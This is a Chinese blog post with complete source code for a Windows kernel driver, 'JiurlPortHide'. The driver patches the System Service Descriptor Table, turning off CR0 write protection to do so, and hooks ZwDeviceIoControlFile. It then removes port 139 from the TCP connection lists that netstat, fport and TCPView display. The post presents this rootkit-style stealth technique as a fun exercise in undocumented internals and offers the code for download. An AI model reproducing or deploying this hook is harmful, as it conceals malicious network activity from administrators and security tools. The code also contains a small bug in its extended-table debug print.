有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。 netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ,向设备对象 Device/Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ,然后对得到的结果做一些处理,弄掉不希望出现的端口信息就可以了。不过真正的问题在于,IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义,参数含义目前都(大部分)是未公开,没人知道的,也就是Undocumented的。Undocumented?? ring3调试,我熟啊。ring0调试,我熟啊。Windows驱动,我熟啊。Windows系统,我熟啊。我怕谁啊我。Undocumented??爽,要的就是Undocumented。 通过ring3调试,分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数,结合msdn中的一些信息,于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目,写好了Hook部分。 关于本例中使用的解决Hook在各种Windows版本下运行的方法,在很多地方很多地方都出现了,我不清楚最早是谁想出来的,我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。 下面是实现源码,很简单,我就不多说什么了。 #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
Jiurl_tcpioctl.h
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- 有偿定制 AppWizard ,请发邮件联系 。
Comments:
本文件中的所有内容目前都是未公开的,由我分析得出,是隐藏端口的关键内容。 Undocumented?? 爽!要的就是 Undocumented 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif
// jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011 // jiurl // 所以我根据 RFC 2022 ,仿 IPSNMPInfo, 定义结构 TCPSNMPInfo // jiurl // 再通过一些分析得到一些扩展部分的定义
typedef struct TCPSNMPInfo { ULONG tcpsi_RtoAlgorithm; ULONG tcpsi_RtoMin; ULONG tcpsi_RtoMax; ULONG tcpsi_MaxConn; ULONG tcpsi_ActiveOpens; ULONG tcpsi_PassiveOpens; ULONG tcpsi_AttemptFails; ULONG tcpsi_EstabResets; ULONG tcpsi_CurrEstab; ULONG tcpsi_InSegs; ULONG tcpsi_OutSegs; ULONG tcpsi_RetransSegs; ULONG tcpsi_unknown1; ULONG tcpsi_unknown2; ULONG tcpsi_numconn; } TCPSNMPInfo;
#define tcpRtoAlgorithm_other 1 // none of the following #define tcpRtoAlgorithm_constant 2 // a constant rto #define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B #define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm
#define TCP_MIB_STATS_ID 1 #define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101 #define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102
typedef struct TCPAddrEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; } TCPAddrEntry;
#define tcpConnState_closed 1 #define tcpConnState_listen 2 #define tcpConnState_synSent 3 #define tcpConnState_synReceived 4 #define tcpConnState_established 5 #define tcpConnState_finWait1 6 #define tcpConnState_finWait2 7 #define tcpConnState_closeWait 8 #define tcpConnState_lastAck 9 #define tcpConnState_closing 10 #define tcpConnState_timeWait 11 #define tcpConnState_deleteTCB 12
typedef struct TCPAddrExEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; ULONG pid; } TCPAddrExEntry;
#if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
JiurlPortHide.h
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- 有偿定制 AppWizard ,请发邮件联系 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif
#define PORTHIDE 139
#pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength );
typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength );
ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile;
void DriverUnload(IN PDRIVER_OBJECT DriverObject);
NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength );
// jiurl // from addrconv.cpp #define ntohs(s) / ( ( ((s) >> 8) & 0x00FF ) | / ( ((s) << 8) & 0xFF00 ) )
// jiurl // from tcpioctl.h tdiinfo.h tdistat.h #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID. typedef struct TDIEntityID { ULONG tei_entity; ULONG tei_instance; } TDIEntityID;
//* Structure of an object ID. typedef struct TDIObjectID { TDIEntityID toi_entity; ULONG toi_class; ULONG toi_type; ULONG toi_id; } TDIObjectID;
#define CONTEXT_SIZE 16 // // QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer // in the DeviceIoControl request. This structure is passed as the // InputBuffer. // struct tcp_request_query_information_ex { TDIObjectID ID; // object ID to query. ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed // for the first request. };
typedef struct tcp_request_query_information_ex TCP_REQUEST_QUERY_INFORMATION_EX, *PTCP_REQUEST_QUERY_INFORMATION_EX;
#define CO_TL_ENTITY 0x400 #define INFO_CLASS_PROTOCOL 0x200 #define INFO_TYPE_PROVIDER 0x100 #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
JiurlPortHide.cpp
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- 有偿定制 AppWizard ,请发邮件联系 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif
#ifdef __cplusplus extern "C" { #endif
#include <ntddk.h>
#include "JiurlPortHide.h" #include "Jiurl_tcpioctl.h"
#ifdef __cplusplus } #endif
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DbgPrint("JiurlPortHide: Hello,This is DriverEntry!/n");
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch; DriverObject->DriverUnload = DriverUnload;
// save old system call locations OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);
_asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back }
(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile;
_asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt }
return STATUS_SUCCESS; }
NTSTATUS DriverDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp,IO_NO_INCREMENT); return Irp->IoStatus.Status; }
void DriverUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("JiurlPortHide: Bye,This is DriverUnload!/n");
_asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back }
(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile;
_asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } }
NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc;
rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength );
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) { return(rc); }
TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable; TCPAddrExEntry* TcpExTable; ULONG numconn; LONG i;
DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX/n");
if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ) { if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; } }
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); return(rc); }
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ) { if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; } }
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); return(rc); } }
return(rc); } 下载源码及示例程序 完
欢迎交流,欢迎交朋友, 欢迎访问 主页 http://jiurl.yeah.net http://jiurl.nease.net 论坛 http://jiurl.cosoft.org.cn/forum
f啊k,不带你们这样的啊,有好事不叫我。 |